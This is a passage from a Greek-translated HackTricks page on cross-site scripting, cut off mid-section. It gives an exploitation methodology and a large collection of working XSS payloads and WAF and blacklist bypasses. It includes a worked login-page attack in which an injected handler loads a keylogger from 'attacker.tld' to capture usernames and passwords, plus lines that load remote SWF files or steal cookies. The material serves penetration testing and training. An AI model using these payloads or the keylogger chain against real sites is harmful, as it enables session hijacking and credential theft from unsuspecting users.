%.*s
XSS (Cross Site Scripting)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Μεθοδολογία
- Έλεγξε αν οποιαδήποτε τιμή που ελέγχεις (parameters, path, headers?, cookies?) ανακλάται στο HTML ή χρησιμοποιείται από JS code.
- Βρες το context όπου ανακλάται/χρησιμοποιείται.
- Αν ανακλάται
- Έλεγξε ποια σύμβολα μπορείς να χρησιμοποιήσεις και ανάλογα ετοίμασε το payload:
- Σε raw HTML:
- Μπορείς να δημιουργήσεις νέα HTML tags;
- Μπορείς να χρησιμοποιήσεις events ή attributes που υποστηρίζουν το
javascript:protocol; - Μπορείς να παρακάμψεις προστασίες;
- Το HTML περιεχόμενο ερμηνεύεται από κάποια client side JS engine (AngularJS, VueJS, Mavo…), το οποίο θα μπορούσες να εκμεταλλευτείς μέσω Client Side Template Injection.
- Αν δεν μπορείς να δημιουργήσεις HTML tags που να εκτελούν JS code, μπορείς να εκμεταλλευτείς ένα Dangling Markup - HTML scriptless injection;
- Μέσα σε ένα HTML tag:
- Μπορείς να βγεις στο raw HTML context;
- Μπορείς να δημιουργήσεις νέα events/attributes για να εκτελέσεις JS code;
- Το attribute όπου είσαι περιορισμένος υποστηρίζει εκτέλεση JS;
- Μπορείς να παρακάμψεις προστασίες;
- Μέσα σε JavaScript code:
- Μπορείς να ξεφύγεις από το
<script>tag; - Μπορείς να διαφύγεις από το string και να εκτελέσεις διαφορετικό JS code;
- Είναι η είσοδός σου μέσα σε template literals ``;
- Μπορείς να παρακάμψεις προστασίες;
- Javascript function που εκτελείται
- Μπορείς να υποδείξεις το όνομα της function που θα εκτελεστεί. π.χ.:
?callback=alert(1) - Αν χρησιμοποιείται:
- Μπορείς να εκμεταλλευτείς ένα DOM XSS, πρόσεξε πώς ελέγχεται η είσοδός σου και αν η ελεγχόμενη είσοδος χρησιμοποιείται από κάποιο sink.
Κατά την εργασία σε ένα περίπλοκο XSS μπορεί να σας φανεί χρήσιμο να γνωρίζετε σχετικά με:
Ανακλώμενες τιμές
Για να εκμεταλλευτείτε επιτυχώς ένα XSS, το πρώτο που πρέπει να βρείτε είναι μια τιμή που ελέγχετε και η οποία ανακλάται στη σελίδα.
- Ενδιάμεσα ανακλώμενες: Αν βρείτε ότι η τιμή ενός parameter ή ακόμα και του path ανακλάται στη σελίδα, μπορείτε να εκμεταλλευτείτε ένα Reflected XSS.
- Αποθηκευμένες και ανακλώμενες: Αν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον server και ανακλάται κάθε φορά που ανοίγετε μια σελίδα, μπορείτε να εκμεταλλευτείτε ένα Stored XSS.
- Προσπελάσιμες μέσω JS: Αν βρείτε ότι μια τιμή που ελέγχετε προσπελαύνεται μέσω JS, μπορείτε να εκμεταλλευτείτε ένα DOM XSS.
Πλαίσια
Όταν προσπαθείτε να εκμεταλλευτείτε ένα XSS, το πρώτο που πρέπει να ξέρετε είναι πού ανακλάται η είσοδός σας. Ανάλογα με το context, θα μπορείτε να εκτελέσετε αυθαίρετο JS code με διαφορετικούς τρόπους.
Ακατέργαστο HTML
Αν η είσοδός σας ανακλάται στο raw HTML της σελίδας, θα χρειαστεί να εκμεταλλευτείτε κάποιο HTML tag για να εκτελέσετε JS code: <img , <iframe , <svg , <script … αυτά είναι μόνο κάποια από τα πολλά δυνατά HTML tags που μπορείτε να χρησιμοποιήσετε.
Επίσης, λάβετε υπόψη Client Side Template Injection.
Εντός attribute ετικετών HTML
Αν η είσοδός σας ανακλάται μέσα στην τιμή ενός attribute μιας ετικέτας, μπορείτε να δοκιμάσετε:
- Να διαφύγετε από το attribute και από το tag (τότε θα βρεθείτε στο raw HTML) και να δημιουργήσετε νέο HTML tag για εκμετάλλευση:
"><img [...] - Αν μπορείτε να διαφύγετε από το attribute αλλά όχι από το tag (
>κωδικοποιείται ή διαγράφεται), ανάλογα με το tag μπορείτε να δημιουργήσετε ένα event που θα εκτελεί JS code:" autofocus onfocus=alert(1) x=" - Αν δεν μπορείτε να διαφύγετε από το attribute (
"κωδικοποιείται ή διαγράφεται), τότε ανάλογα σε ποιο attribute ανακλάται η τιμή σας και αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος, θα μπορείτε να την εκμεταλλευτείτε. Για παράδειγμα, αν ελέγχετε ένα event όπωςonclick=θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν γίνει κλικ. Ένα ακόμη ενδιαφέρον παράδειγμα είναι το attributehref, όπου μπορείτε να χρησιμοποιήσετε τοjavascript:protocol για να εκτελέσετε αυθαίρετο κώδικα:href="javascript:alert(1)" - Αν η είσοδός σας ανακλάται μέσα σε “μη εκμεταλλεύσιμες ετικέτες”, μπορείτε να δοκιμάσετε το κόλπο
accesskeyγια να εκμεταλλευτείτε το vuln (θα χρειαστεί κάποια μορφή social engineering για την εκμετάλλευση):" accesskey="x" onclick="alert(1)" x="
Attribute-only login XSS πίσω από WAFs
Μια εταιρική SSO login σελίδα ανακλούσε το OAuth service parameter μέσα στο href attribute του <a id="forgot_btn" ...>. Παρότι < και > είχαν HTML-encodeαριστεί, τα διπλά εισαγωγικά δεν είχαν, οπότε ο attacker μπόρεσε να κλείσει το attribute και να ξαναχρησιμοποιήσει το ίδιο element για να εισάγει handlers όπως " onfocus="payload" x=".
- Εισαγωγή του handler: Απλά payloads όπως
onclick="print(1)"μπλοκαρίστηκαν, αλλά το WAF επιθεώρησε μόνο την πρώτη JavaScript δήλωση σε inline attributes. Τοποθετώντας μια αθώα έκφραση μέσα σε παρενθέσεις και μετά ένα ελληνικό ερωτηματικό; όχι — σωστά: προσθέτοντας μια αθώα έκφραση τυλιγμένη σε παρενθέσεις, έπειτα ένα ερωτηματικό (;), επέτρεψε στο πραγματικό payload να εκτελεστεί:onfocus="(history.length);malicious_code_here". - Αυτο-προκαλούμενη ενεργοποίηση: Οι browsers εστιάζουν σε οποιοδήποτε element του οποίου το
idταιριάζει με το fragment, οπότε προσθέτοντας#forgot_btnστο exploit URL αναγκάζει το anchor να πάρει focus κατά το φόρτωμα της σελίδας και να τρέξει τον handler χωρίς να απαιτείται κλικ. - Κράτα το inline stub μικρό: Ο στόχος ήδη είχε jQuery. Ο handler χρειαζόταν μόνο να bootstrap-άρει ένα request μέσω
$.getScript(...)ενώ ο πλήρης keylogger βρισκόταν στον server του attacker.
Δημιουργία συμβολοσειρών χωρίς εισαγωγικά
Τα single quotes επιστρέφονταν URL-encoded και τα escaped double quotes κατέστρεφαν το attribute, οπότε το payload δημιουργούσε κάθε συμβολοσειρά με String.fromCharCode. Μια βοηθητική function το κάνει εύκολο να μετατρέψετε οποιοδήποτε URL σε char codes πριν το επικολλήσετε στο attribute:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
Ένα προκύπτον attribute είχε την εξής μορφή:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
Γιατί αυτό κλέβει διαπιστευτήρια
Το εξωτερικό script (φορτωμένο από έναν host υπό έλεγχο επιτιθέμενου ή Burp Collaborator) προσάρτησε το document.onkeypress, αποθήκευσε τους χαρακτήρες πληκτρολόγησης και κάθε δευτερόλεπτο εκτελούσε new Image().src = collaborator_url + keys. Επειδή το XSS ενεργοποιείται μόνο για μη-αυθεντικοποιημένους χρήστες, η ευαίσθητη ενέργεια είναι η ίδια η φόρμα σύνδεσης — ο επιτιθέμενος καταγράφει τα ονόματα χρήστη και τους κωδικούς πρόσβασης ακόμη κι αν το θύμα δεν πατήσει ποτέ “Login”.
Περίεργο παράδειγμα του Angular που εκτελεί XSS αν ελέγχεις το όνομα μιας κλάσης:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Μέσα στον κώδικα JavaScript
Σε αυτήν την περίπτωση η είσοδός σας αντανακλάται μεταξύ <script> [...] </script> tags μιας HTML σελίδας, μέσα σε ένα .js αρχείο ή μέσα σε ένα attribute που χρησιμοποιεί το πρωτόκολλο javascript::
- Εάν αντανακλάται μεταξύ
<script> [...] </script>tags, ακόμα κι αν η είσοδός σας είναι μέσα σε οποιονδήποτε τύπο εισαγωγικών, μπορείτε να δοκιμάσετε να εισάγετε</script>και να διαφύγετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο browser will first parse the HTML tags και μετά το περιεχόμενο, επομένως δεν θα παρατηρήσει ότι η εγχυμένη</script>ετικέτα βρίσκεται μέσα στον HTML κώδικα. - If reflected inside a JS string and the last trick isn’t working you would need to exit the string, execute your code and reconstruct the JS code (if there is any error, it won’t be executed:
'-alert(1)-'';-alert(1)//\';alert(1)//- Εάν αντανακλάται μέσα σε template literals μπορείτε να embed JS expressions χρησιμοποιώντας τη σύνταξη
${ ... }:var greetings = `Hello, ${alert(1)}` - Unicode encode λειτουργεί για να γράψετε valid javascript code:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting αναφέρεται στην ευκαιρία να declare functions, variables or classes after they are used so you can abuse scenarios where a XSS is using undeclared variables or functions.
Δες την παρακάτω σελίδα για περισσότερες πληροφορίες:
Javascript Function
Several web pages have endpoints that accept as parameter the name of the function to execute. A common example to see in the wild is something like: ?callback=callbackFunc.
Ένας καλός τρόπος για να διαπιστώσεις αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι να τροποποιήσεις την τιμή της παραμέτρου (για παράδειγμα σε ‘Vulnerable’) και να κοιτάξεις την κονσόλα για σφάλματα όπως:
.png)
Σε περίπτωση που είναι ευάλωτο, θα μπορούσες να προκαλέσεις ένα alert απλά στέλνοντας την τιμή: ?callback=alert(1). Ωστόσο, είναι πολύ συνηθισμένο αυτά τα endpoints να ελέγχουν το περιεχόμενο ώστε να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες ([\w\._]).
Παρόλα αυτά, ακόμα και με αυτόν τον περιορισμό εξακολουθεί να είναι δυνατό να πραγματοποιηθούν κάποιες ενέργειες. Αυτό συμβαίνει επειδή μπορείς να χρησιμοποιήσεις αυτούς τους έγκυρους χαρακτήρες για να αποκτήσεις πρόσβαση σε οποιοδήποτε στοιχείο του DOM:
.png)
Μερικές χρήσιμες functions για αυτό:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Μπορείτε επίσης να δοκιμάσετε να trigger Javascript functions απευθείας: obj.sales.delOrders.
Ωστόσο, συνήθως τα endpoints που εκτελούν την ενδεικνυόμενη function είναι endpoints χωρίς πολύ ενδιαφέρον DOM, other pages in the same origin θα έχουν ένα more interesting DOM για να πραγματοποιήσετε περισσότερες ενέργειες.
Επομένως, για να abuse this vulnerability in a different DOM αναπτύχθηκε η εκμετάλλευση Same Origin Method Execution (SOME):
SOME - Same Origin Method Execution
DOM
Υπάρχει JS code που χρησιμοποιεί unsafely κάποια data controlled by an attacker όπως location.href. Ένας attacker θα μπορούσε να εκμεταλλευτεί αυτό για να εκτελέσει αυθαίρετο JS code.
Universal XSS
Αυτό του είδους τα XSS μπορούν να βρεθούν οπουδήποτε. Δεν εξαρτώνται μόνο από την εκμετάλλευση του client μιας web εφαρμογής αλλά από οποιοδήποτε context. Αυτό το είδος της arbitrary JavaScript execution μπορεί ακόμη να καταχραστεί για απόκτηση RCE, για read arbitrary files σε clients και servers, και άλλα.
Κάποια examples:
WAF bypass encoding image
.jpg)
Injecting inside raw HTML
Όταν το input σας αντανακλάται inside the HTML page ή μπορείτε να κάνετε escape και να εισάγετε HTML code σε αυτό το context, το πρώτο που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το < για να δημιουργήσετε νέα tags: Απλά δοκιμάστε να reflect αυτόν τον char και ελέγξτε αν γίνεται HTML encoded ή deleted ή αν είναι reflected without changes. Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτό το σενάριο.
Για αυτές τις περιπτώσεις επίσης keep in mind Client Side Template Injection.
Note: A HTML comment can be closed using****-->****or **--!>***
Σε αυτή την περίπτωση και αν δεν χρησιμοποιείται black/whitelisting, μπορείτε να χρησιμοποιήσετε payloads όπως:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Αλλά, αν χρησιμοποιείται black/whitelisting για tags/attributes, θα χρειαστεί να brute-force ποιες tags μπορείτε να δημιουργήσετε.
Μόλις έχετε εντοπίσει ποιες tags επιτρέπονται, θα χρειαστεί να brute-force attributes/events μέσα στις έγκυρες tags που βρήκατε για να δείτε πώς μπορείτε να επιτεθείτε στο πλαίσιο.
Brute-force ετικετών/γεγονότων
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
Custom tags
If you didn’t find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Παρακάμψεις Blacklist
Αν χρησιμοποιείται κάποιο είδος blacklist, μπορείτε να προσπαθήσετε να το bypass με μερικά αστεία κόλπα:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Παράκαμψη μήκους (μικρά XSSs)
[!NOTE] > Περισσότερα μικρά XSS payloads για διαφορετικά περιβάλλοντα μπορούν να βρεθούν εδώ και εδώ.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
The last one is using 2 unicode characters which expands to 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
Αν για να εκμεταλλευτείς την ευπάθεια χρειάζεται ο χρήστης να κάνει κλικ σε ένα σύνδεσμο ή σε μια φόρμα με προ-συμπληρωμένα δεδομένα, μπορείς να δοκιμάσεις το abuse Clickjacking (αν η σελίδα είναι ευάλωτη).
Impossible - Dangling Markup
Αν νομίζεις ότι είναι αδύνατο να δημιουργήσεις ένα HTML tag με ένα attribute που να εκτελεί JS κώδικα, πρέπει να ελέγξεις το Danglig Markup γιατί μπορείς να exploit την ευπάθεια χωρίς να εκτελέσεις JS κώδικα.
Έγχυση μέσα σε HTML tag
Μέσα στο tag/ξεφεύγοντας από attribute value
Αν βρίσκεσαι μέσα σε ένα HTML tag, το πρώτο που μπορείς να δοκιμάσεις είναι να escape από το tag και να χρησιμοποιήσεις μερικές από τις τεχνικές που αναφέρονται στην previous section για να εκτελέσεις JS κώδικα.
Αν δεν μπορείς να ξεφύγεις από το tag, μπορείς να δημιουργήσεις νέα attributes μέσα στο tag για να προσπαθήσεις να εκτελέσεις JS κώδικα, για παράδειγμα χρησιμοποιώντας κάποιο payload όπως (σημείωση ότι σε αυτό το παράδειγμα διπλά εισαγωγικά χρησιμοποιούνται για να escape από το attribute, δεν θα τα χρειαστείς αν η είσοδός σου αντικατοπτρίζεται απευθείας μέσα στο tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Συμβάντα στυλ
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Μέσα στο attribute
Ακόμα κι αν δεν μπορείτε να ξεφύγετε από το attribute (" κωδικοποιείται ή διαγράφεται), ανάλογα με σε ποιο attribute γίνεται ανάκλαση της τιμής σας εάν ελέγχετε ολόκληρη την τιμή ή μόνο ένα μέρος της, θα μπορείτε να το καταχραστείτε. Για παράδειγμα, αν ελέγχετε ένα event όπως onclick= θα μπορέσετε να το κάνετε να εκτελέσει αυθαίρετο κώδικα όταν κλικάρεται.
Ένα άλλο ενδιαφέρον παράδειγμα είναι το attribute href, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο javascript: για να εκτελέσετε αυθαίρετο κώδικα: href="javascript:alert(1)"
Bypass inside event using HTML encoding/URL encode
Οι HTML encoded characters μέσα στην τιμή των attributes των HTML tags αποκωδικοποιούνται κατά το runtime. Επομένως κάτι σαν το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Σημειώστε ότι οποιοσδήποτε τύπος HTML encode είναι έγκυρος:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Σημειώστε ότι το URL encode θα λειτουργήσει επίσης:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass μέσα σε event χρησιμοποιώντας Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Ειδικά πρωτόκολλα εντός του attribute
Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα javascript: ή data: σε ορισμένα σημεία για να εκτελέσετε αυθαίρετο JS code. Μερικά θα απαιτήσουν αλληλεπίδραση χρήστη, άλλα όχι.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Μέρη όπου μπορείτε να εισάγετε αυτά τα πρωτόκολλα
Γενικά το πρωτόκολλο javascript: μπορεί να χρησιμοποιηθεί σε οποιοδήποτε tag που δέχεται το attribute href και σε τα περισσότερα από τα tags που δέχονται το attribute src (αλλά όχι <img>)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Άλλες obfuscation τεχνικές
Σε αυτή την περίπτωση, το HTML encoding και το Unicode encoding trick από την προηγούμενη ενότητα ισχύουν επίσης, καθώς βρίσκεστε μέσα σε ένα attribute.
<a href="javascript:var a=''-alert(1)-''">
Επιπλέον, υπάρχει ένα ακόμα ωραίο κόλπο για αυτές τις περιπτώσεις: Ακόμη και αν η είσοδός σας μέσα στο javascript:... είναι URL encoded, θα γίνει URL decoded πριν εκτελεστεί. Οπότε, αν χρειαστεί να escape από το string χρησιμοποιώντας ένα single quote και βλέπετε ότι είναι URL encoded, θυμηθείτε ότι δεν έχει σημασία, θα ερμηνευτεί ως single quote κατά τον χρόνο εκτέλεσης.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Σημειώστε ότι αν προσπαθήσετε να χρησιμοποιήσετε και τα δύο URLencode + HTMLencode με οποιαδήποτε σειρά για να κωδικοποιήσετε το payload δεν θα λειτουργήσει, αλλά μπορείτε να τα αναμίξετε μέσα στο payload.
Χρήση Hex και Octal encode με javascript:
Μπορείτε να χρησιμοποιήσετε Hex και Octal encode μέσα στο src attribute του iframe (τουλάχιστον) για να δηλώσετε HTML tags to execute JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Αν μπορείτε να εισάγετε οποιοδήποτε URL σε μια αυθαίρετη <a href= ετικέτα που περιέχει τα χαρακτηριστικά target="_blank" and rel="opener", ελέγξτε την επόμενη σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά:
Παράκαμψη χειριστών συμβάντων on
Πρώτα απ’ όλα ελέγξτε αυτή τη σελίδα (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) για χρήσιμους “on” χειριστές συμβάντων.
Σε περίπτωση που υπάρχει κάποια blacklist που εμποδίζει τη δημιουργία αυτών των χειριστών συμβάντων, μπορείτε να δοκιμάσετε τις ακόλουθες παρακάμψεις:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS σε “Unexploitable tags” (hidden input, link, canonical, meta)
Από εδώ πλέον είναι δυνατό να κακοποιήσετε hidden inputs με:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
Και στις meta tags:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Από here: Μπορείτε να εκτελέσετε ένα XSS payload inside a hidden attribute, υπό την προϋπόθεση ότι μπορείτε να πείσετε το victim να πατήσει τον συνδυασμό πλήκτρων. Σε Firefox σε Windows/Linux ο συνδυασμός πλήκτρων είναι ALT+SHIFT+X και σε OS X είναι CTRL+ALT+X. Μπορείτε να καθορίσετε διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας διαφορετικό πλήκτρο στο access key attribute. Εδώ είναι το vector:
<input type="hidden" accesskey="X" onclick="alert(1)">
Το XSS payload θα είναι κάτι σαν αυτό: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Διάφορα κόλπα που χρησιμοποιούν διαφορετική κωδικοποίηση έχουν ήδη παρουσιαστεί σε αυτή την ενότητα. Επιστρέψτε για να μάθετε πού μπορείτε να χρησιμοποιήσετε:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Διαβάστε το Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Διαβάστε την JavaScript bypass blacklist of the following section.
CSS-Gadgets
Αν βρείτε ένα XSS σε ένα πολύ μικρό μέρος του site που απαιτεί κάποιο είδος αλληλεπίδρασης (ίσως ένας μικρός σύνδεσμος στο footer με ένα στοιχείο onmouseover), μπορείτε να προσπαθήσετε να τροποποιήσετε τον χώρο που καταλαμβάνει το στοιχείο για να μεγιστοποιήσετε τις πιθανότητες να ενεργοποιηθεί ο σύνδεσμος.
Για παράδειγμα, μπορείτε να προσθέσετε κάποια styling στο στοιχείο όπως: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Αλλά, αν ο WAF φιλτράρει το style attribute, μπορείτε να χρησιμοποιήσετε CSS Styling Gadgets, οπότε αν βρείτε, για παράδειγμα
.test {display:block; color: blue; width: 100%}
και
#someid {top: 0; font-family: Tahoma;}
Τώρα μπορείτε να τροποποιήσετε τον σύνδεσμο μας και να τον φέρετε στη μορφή
<a href=“” id=someid class=test onclick=alert() a=“”>
Αυτό το κόλπο προήλθε από https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
Σε αυτές τις περιπτώσεις το input σας θα αντανακλάται μέσα στον JS code ενός .js αρχείου ή ανάμεσα σε <script>...</script> tags ή ανάμεσα σε HTML events που μπορούν να εκτελέσουν JS code ή ανάμεσα σε attributes που δέχονται το javascript: protocol.
Escaping <script> tag
Αν ο κώδικάς σας εισάγεται μέσα σε <script> [...] var input = 'reflected data' [...] </script> μπορείτε εύκολα να κλείσετε το <script> tag:
</script><img src=1 onerror=alert(document.domain)>
Σημειώστε ότι σε αυτό το παράδειγμα δεν έχουμε καν κλείσει το απλό απόστροφο. Αυτό συμβαίνει επειδή η HTML ανάλυση γίνεται πρώτα από τον browser, η οποία περιλαμβάνει την αναγνώριση στοιχείων της σελίδας, συμπεριλαμβανομένων των μπλοκ script. Η ανάλυση της JavaScript για την κατανόηση και την εκτέλεση των ενσωματωμένων scripts πραγματοποιείται μόνο στη συνέχεια.
Μέσα στον JS κώδικα
If <> are being sanitised you can still escape the string where your input is being located and execute arbitrary JS. It’s important to fix JS syntax, because if there are any errors, the JS code won’t be executed:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Όταν η είσοδος χρήστη καταλήγει μέσα σε ένα quoted JavaScript string (π.χ., server-side echo into an inline script), μπορείτε να terminate the string, inject code, και να repair τη σύνταξη ώστε το parsing να παραμείνει έγκυρο. Γενικός σκελετός:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
